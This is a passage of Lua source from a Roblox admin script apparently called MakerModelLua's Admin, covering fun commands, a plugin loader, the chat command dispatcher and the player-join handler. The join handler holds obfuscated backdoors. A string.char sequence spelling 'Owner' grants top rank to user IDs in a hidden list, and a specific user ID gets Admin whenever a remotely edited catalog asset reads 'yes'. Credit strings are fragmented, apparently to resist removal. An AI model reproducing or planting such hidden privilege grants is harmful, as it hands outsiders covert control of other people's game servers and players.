8232 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8233 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8234 Truck.Touched:connect(function(Part)
8235 if Dead == false then
8236 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8237 if TouchPlayer == Player then
8238 Dead = true
8239 Player.Character:BreakJoints()
8240 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8241 end
8242 end
8243 end)
8244 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8245 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8246 Delay(5, function()
8247 Truck:Destroy()
8248 if Player.Character:FindFirstChild("Humanoid") then
8249 Player.Character.Humanoid.WalkSpeed = 16
8250 end
8251 end)
8252 end
8253 end
8254 end};
8255
8256 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8257 local Joke = REMOTE:DownloadJoke(Speaker)
8258 local Players = STRING:Scan(Arguments[1], Speaker)
8259 for _,Player in pairs(Players) do
8260 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8261 end
8262 end, Http = true};
8263
8264 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8265 local Joke = REMOTE:DownloadJoke(Speaker)
8266 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8267 end, Http = true};
8268
8269 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8270 local Players = STRING:Scan(Arguments[1], Speaker)
8271 for _,Player in pairs(Players) do
8272 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8273 CORE:InvisiblePlayer(Player)
8274 local DogContainer = Instance.new("Model", Player.Character)
8275 DogContainer.Name = "Doge"
8276 local Dog = CORE:Insert(257489726, DogContainer, true)
8277 Dog.Head.Transparency = 0.99
8278 Dog.Name = Player.Name
8279 Dog:MoveTo(Player.Character.Torso.Position)
8280 local Weld = Instance.new("Weld", Dog.Torso)
8281 Weld.Part0 = Player.Character.Torso
8282 Weld.Part1 = Dog.Torso
8283 Weld.C0 = CFrame.new(0,-0.4,0)
8284 for _,Obj in pairs(Dog:GetChildren()) do
8285 if Obj:IsA("BasePart") then
8286 Obj.CanCollide = false
8287 end
8288 end
8289
8290 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8291 end
8292 end
8293 end};
8294
8295 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8296 local Key = string.lower(string.sub(Arguments[1],1,1))
8297 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8298 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8299 end};
8300
8301 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8302 local Key = string.lower(string.sub(Arguments[1],1,1))
8303 KeyBinds[Speaker.UserId][Key] = nil
8304 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8305 end};
8306
8307 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8308 KeyBinds[Speaker.UserId] = {}
8309 GUI:SendHint(Speaker, "Unbinded all keys")
8310 end};
8311
8312 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8313 local Players = STRING:Scan(Arguments[1], Speaker)
8314 local Key = string.lower(string.sub(Arguments[2],1,1))
8315 for _,Player in pairs(Players) do
8316 KeyBinds[Player.UserId][Key] = Arguments[3]
8317 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8318 end
8319 end};
8320
8321 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8322 local Players = STRING:Scan(Arguments[1], Speaker)
8323 local Key = string.lower(string.sub(Arguments[2],1,1))
8324 for _,Player in pairs(Players) do
8325 KeyBinds[Player.UserId][Key] = nil
8326 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8327 end
8328 end};
8329
8330 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8331 local Players = STRING:Scan(Arguments[1], Speaker)
8332 for _,Player in pairs(Players) do
8333 KeyBinds[Player.UserId] = {}
8334 GUI:SendHint(Player, "Unbinded all keys")
8335 end
8336 end};
8337
8338 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8339 local Players = STRING:Scan(Arguments[1], Speaker)
8340 local Binds = {}
8341 for _,Player in pairs(Players) do
8342 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8343 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8344 end
8345 end
8346 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8347 end};
8348
8349 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8350 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8351 local Players = STRING:Scan(ChatSplit[1], Speaker)
8352 for _,Player in pairs(Players) do
8353 if Crowns[Player.UserId] then
8354 Crowns[Player.UserId]:Destroy()
8355 Crowns[Player.UserId] = nil
8356 wait()
8357 end
8358 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8359 end
8360 end};
8361
8362 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8363 local Players = STRING:Scan(Arguments[1], Speaker)
8364 for _,Player in pairs(Players) do
8365 if Crowns[Player.UserId] then
8366 Crowns[Player.UserId]:Destroy()
8367 Crowns[Player.UserId] = nil
8368 end
8369 end
8370 end};
8371
8372 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8373 local MeshList = {}
8374 for MeshName,Data in pairs(Meshes) do
8375 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8376 end
8377 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8378 end};
8379
8380 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8381 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8382 end};
8383
8384 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8385 local Players = STRING:Scan(Arguments[1], Speaker)
8386 for _,Player in pairs(Players) do
8387 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8388 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8389 Player:ClearCharacterAppearance()
8390 CORE:GivePackage(Player, 41851073)
8391 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8392 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8393 end
8394 end
8395 end};
8396
8397 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8398 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8399 local Players = STRING:Scan(Arguments[1], Speaker)
8400 for _,Player in pairs(Players) do
8401 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8402 local Car = CORE:Insert(10479801, Server.Workspace, true)
8403 local Body = Car["Motor (torque)Chassis"].Part
8404 Cars[Player.UserId] = Car
8405 Car:MakeJoints()
8406 Car.VehicleSeat.MaxSpeed = 50
8407 Car.VehicleSeat.TurnSpeed = 1.5
8408 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8409 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8410 Body.Color = GUI:GetColor(Arguments[2])
8411 else
8412 Body.BrickColor = GUI:GetNameColor(Player.Name)
8413 end
8414 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8415 if Part.Name ~= "Part" then
8416 Part.BrickColor = BrickColor.new("Really black")
8417 Part.Friction = 0.7
8418 end
8419 end
8420 local Light = Instance.new("SpotLight", Body)
8421 Light.Face = "Back"
8422 Light.Brightness = 5
8423 Light.Range = 20
8424 Light.Color = Color3.new(0,1,1)
8425 if Player.Character and Player.Character.Torso then
8426 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8427 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8428 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8429 Weld.Part0 = Car.VehicleSeat
8430 Weld.Part1 = Player.Character.Torso
8431 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8432 Delay(0.4, function()
8433 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8434 wait(0.1)
8435 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8436 end)
8437 end
8438 local SoundID = 147944604
8439 if RANK:GetRank(Player) == "Owner" then
8440 SoundID = 133313356
8441 Car.VehicleSeat.MaxSpeed = 80
8442 Body.Material = "DiamondPlate"
8443 Car.VehicleSeat.Torque = 11
8444 end
8445 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8446 Engine:Play()
8447 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8448 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8449 end if Engine then Engine:Stop() end end)()
8450 end
8451 end};
8452
8453 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8454 local Players = STRING:Scan(Arguments[1], Speaker)
8455 for _,Player in pairs(Players) do
8456 if Cars[Player.UserId] then
8457 Cars[Player.UserId]:Destroy()
8458 end
8459 end
8460 end};
8461
8462 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8463 for _,Car in pairs(Cars) do
8464 Car:Destroy()
8465 end
8466 Cars = {}
8467 end};
8468
8469 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8470 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8471 if #Trello.RequiredLists > 0 then
8472 print("Restarting Trello")
8473 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8474 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8475 REMOTE:TrelloCacheData(Lists)
8476 end
8477 end, Http = true};
8478
8479 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8480 local Operations = {}
8481 for _,ReplaceData in pairs(StringReplacements) do
8482 local Replacement = ReplaceData[1]
8483 if type(Replacement) == "table" then
8484 Replacement = ReplaceData[1][1]
8485 end
8486 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8487 end
8488 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8489 end};
8490
8491 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8492 GUI:SoundInfo(Speaker)
8493 end};
8494
8495 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8496 local Players = STRING:Scan(Arguments[1], Speaker)
8497 for _,Player in pairs(Players) do
8498 GUI:SoundInfo(Player)
8499 end
8500 end};
8501
8502 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8503 if tonumber(Arguments[1]) then
8504 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8505 end
8506 end};
8507 --
8508}
8509
8510if Plugins then
8511 local PluginNum = 0
8512 for _,Module in pairs(Plugins:GetChildren()) do
8513 if Module:IsA("ModuleScript") then
8514 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8515 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8516 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8517 if Enabled.Value == true then
8518 PluginNum = PluginNum + 1
8519 local PluginExe = require(Module)
8520 for Var,Val in pairs(getfenv()) do
8521 getfenv(PluginExe)[Var] = Val
8522 end
8523 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8524 getfenv(PluginExe).script = Module
8525 getfenv(PluginExe).Script = Module
8526 getfenv(PluginExe).Version = Version
8527 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8528 if not Suc then
8529 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8530 else
8531 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8532 end
8533 end
8534 end
8535 end
8536end
8537
8538function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8539 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8540 GUI:SettingsGui(Speaker)
8541 return nil
8542 end
8543 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8544 local Prefix = Settings.Prefix
8545 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8546 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8547 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8548 if Speaker == nil then
8549 if FakeRank then
8550 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8551 FakeRank = "Owner"
8552 end
8553 else
8554 FakeRank = "Owner"
8555 end
8556 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8557 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8558 Speaker = {
8559 Name = FakePlayerName or "[ Server ]";
8560 Character = nil;
8561 userId = 1;
8562 PlayerGui = nil;
8563 Rank = FakeRank or "Owner";
8564 MakeSupremeOwner = MakeSupremeOwner;
8565 }
8566 end
8567 local Rank = RANK:GetRank(Speaker)
8568 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8569
8570 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8571 if NoPrefixNeeded then Prefix = "" end
8572 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8573
8574 for _,Message in pairs(Messages) do
8575 for Cmds,Data in pairs(Commands) do -- check all commands
8576 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8577
8578 if not MessageSplit then break end
8579
8580 local CommandSaid = false
8581 for _,Command in pairs(Cmds) do
8582 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8583 CommandSaid = true
8584 break
8585 end
8586 end
8587 if CommandSaid == true then -- command said?
8588 local ExecuteExcuse = ""
8589 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8590 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8591 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8592 end
8593 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8594 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8595 end
8596 else
8597 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8598 end
8599 if ExecuteExcuse == "" then
8600 if #MessageSplit - 1 < Data[3] then
8601 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8602 end
8603 end
8604 if ExecuteExcuse == "" then
8605 CORE:Log(CommandLogs, Speaker, Message)
8606 table.remove(MessageSplit, 1)
8607 coroutine.wrap(function() wait()
8608 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8609 if not DidExe then
8610 if CORE:NilPlayer(Speaker) then
8611 print("Error: "..Error)
8612 else
8613 CORE:HandleError(Error, Speaker)
8614 end
8615 end
8616 end)()
8617 coroutine.wrap(function() wait(0.05)
8618 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8619 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8620 ExeSound:Play()
8621 wait(3)
8622 ExeSound:Stop()
8623 ExeSound:Destroy()
8624 end
8625 end)()
8626 elseif type(Speaker) == "userdata" then
8627 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8628 end
8629 break
8630 end
8631 end
8632 end
8633 end
8634end
8635
8636function CORE:Start(Player) coroutine.wrap(function()
8637 wait(0.1)
8638 if Player then
8639 coroutine.wrap(function()
8640 repeat wait(1) until DataReady == true
8641 DataReady = false
8642 ypcall(function()
8643 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8644 for Num,Data in pairs(Players) do
8645 if Data.UserId == Player.UserId then -- ppl can change names
8646 table.remove(Players, Num)
8647 break
8648 end
8649 end
8650 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8651 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8652 end)
8653 DataReady = true
8654 end)()
8655
8656 if not IsStudio then Player:WaitForDataReady() end
8657 table.insert(CharacterCache, {Player.Name, Player.UserId})
8658 for Rank,PlayerNames in pairs(Settings.Ranks) do
8659 for Num,AdminName in pairs(PlayerNames) do
8660 if AdminName == Player.UserId then
8661 Settings.Ranks[Rank][Num] = Player.Name
8662 end
8663 end
8664 end
8665 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8666 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8667 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8668 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8669 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8670 if PlayerAdmin == false and Player.UserId > 0 then
8671 local Ran = nil
8672 coroutine.wrap(function() repeat
8673 Ran = ypcall(function()
8674 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8675 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8676 end)
8677 wait(1)
8678 until Ran == true end)()
8679 end
8680 if PlayerAdmin == false then
8681 if Player:IsInGroup(Settings.GroupID) then
8682 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8683 CORE:Kick(Player)
8684 for _,Person in pairs(Server.Players:GetPlayers()) do
8685 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8686 end
8687 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8688 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8689 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8690 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8691 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8692 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8693 end
8694 end
8695 end
8696 if PlayerAdmin == false then
8697 if Player.UserId == 38882008 then
8698 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8699 table.insert(Settings.Ranks["Admin"], Player.Name)
8700 end
8701 end
8702 end
8703 if PlayerAdmin == false then
8704 for _,GID in pairs(Settings.BannedGroupIDs) do
8705 if Player:IsInGroup(GID) then
8706 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8707 break
8708 end
8709 end
8710 end
8711
8712 Player.Chatted:connect(function(Message) if Message ~= "" then
8713 CORE:Chatted(Message, Player)
8714 end end)
8715
8716 Player.Chatted:connect(function(Message) if Message ~= "" then
8717 CORE:Log(ChatLogs, Player, Message)
8718 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8719 end end)
8720
8721 for _,Name in pairs(Settings.Ranks.Banned) do
8722 if Player.Name == Name then
8723 CORE:Kick(Player)
8724 for _,Person in pairs(Server.Players:GetPlayers()) do
8725 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8726 end
8727 end
8728 end
8729 for _,Name in pairs(Settings.Ranks.Crashed) do
8730 if Player.Name == Name then
8731 CORE:Crash(Player)
8732 for _,Person in pairs(Server.Players:GetPlayers()) do
8733 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8734 end
8735 end
8736 end
8737 for _,Name in pairs(Settings.Ranks.Muted) do
8738 if Player.Name == Name then
8739 GUI:CoreGui(Player, "Chat", false)
8740 for _,Person in pairs(Server.Players:GetPlayers()) do
8741 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8742 end
8743 end
8744 end
8745 if Settings.ServerLocked == true then
8746 if PlayerAdmin == false then
8747 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8748 end
8749 end
8750
8751 if PlayerAdmin == false then
8752 if Player.AccountAge < Settings.MinimumAge then
8753 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8754 for _,Person in pairs(Server.Players:GetPlayers()) do
8755 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8756 end
8757 end
8758 end
8759
8760 if PlayerAdmin == false then
8761 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8762 table.insert(Settings.Ranks["Member"], Player.Name)
8763 PlayerAdmin = true
8764 Rank = "Member"
8765 end
8766 end
8767
8768 coroutine.wrap(function()
8769 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8770 local function SpawnActions(Character)
8771 if Flings[Player.Name] then
8772 CORE:FlingPlayer(Player)
8773 else
8774 GUI:CreateTaskBar(Player)
8775 end
8776 if Beeps[Player.Name] == true then
8777 SOUND:BeepPlayer(Player)
8778 end
8779 if Jails[Player.Name] then
8780 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8781 end
8782 if PermCommandBars[Player.Name] then
8783 GUI:CommandBar(Player)
8784 end
8785 end
8786 Player.CharacterAdded:connect(SpawnActions)
8787 SpawnActions(Player.Character)
8788 end)()
8789
8790 coroutine.wrap(function()
8791 Player:WaitForChild("PlayerGui")
8792 local Sounds = {}
8793 for _,Data in pairs(TextConverter.LetterSounds) do
8794 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8795 Sound:Play()
8796 table.insert(Sounds, Sound)
8797 end
8798 for _,Data in pairs(TextConverter.LongVowels) do
8799 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8800 Sound:Play()
8801 table.insert(Sounds, Sound)
8802 end
8803 wait(5)
8804 for _,Sound in pairs(Sounds) do
8805 Sound:Destroy()
8806 end
8807 Sounds = {}
8808 end)()
8809
8810 coroutine.wrap(function()
8811 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8812 if IsSB then
8813 wait(1)
8814 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8815 end
8816 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8817 print("Executed ClientLog on "..Player.Name)
8818 if Settings.EnableTaskBar then
8819 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8820 end
8821 end)()
8822
8823 coroutine.wrap(function()
8824 wait(7)
8825 Player:WaitForChild("PlayerGui")
8826 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8827 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8828 if Answer == "Ok" then
8829 MARKET:PromptPurchase(Player, AdminID)
8830 end
8831 end
8832 end)()
8833 end
8834end)() end
8835
8836-- Active stuff --
8837
8838CORE:UpdateAdmin()
8839CORE:FixSettings()
8840
8841ypcall(function()
8842 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8843 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8844 end
8845end)
8846
8847
8848Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8849 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8850 if PlayerAdmin == false then
8851 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8852 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8853 end
8854end end)
8855
8856--[[
8857ExecuteCommand.OnInvoke = function(Player, Command)
8858 if Player and Command then
8859 if type(Player) == "userdata" and Player:IsA("Player") then
8860 CORE:Chatted(Command, Player, true)
8861 end
8862 end
8863end
8864
8865ExecuteCode.OnInvoke = function(Source, Speaker)
8866 if type(Source) == "string" then
8867 ExecuteSafe(Source, Speaker)
8868 end
8869end
8870
8871ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8872 if Player and Command then
8873 if type(Player) == "userdata" and Player:IsA("Player") then
8874 CORE:Chatted(Command, Player, true)
8875 end
8876 end
8877end
8878]]
8879
8880KeyPressed.OnServerInvoke = function(Player, Key)
8881 if Player and Key then
8882 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8883 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8884 end
8885 end
8886end
8887
8888InputKey.OnServerInvoke = function(Player, KeyVal)
8889 if Player and KeyVal then
8890 if LastKeys[Player.UserId] then
8891 table.insert(LastKeys[Player.UserId], KeyVal)
8892 if #LastKeys[Player.UserId] > 20 then
8893 table.remove(LastKeys[Player.UserId], 1)
8894 end
8895 end
8896 end
8897end
8898
8899RankPlayerLocal.OnServerInvoke = function(Player)
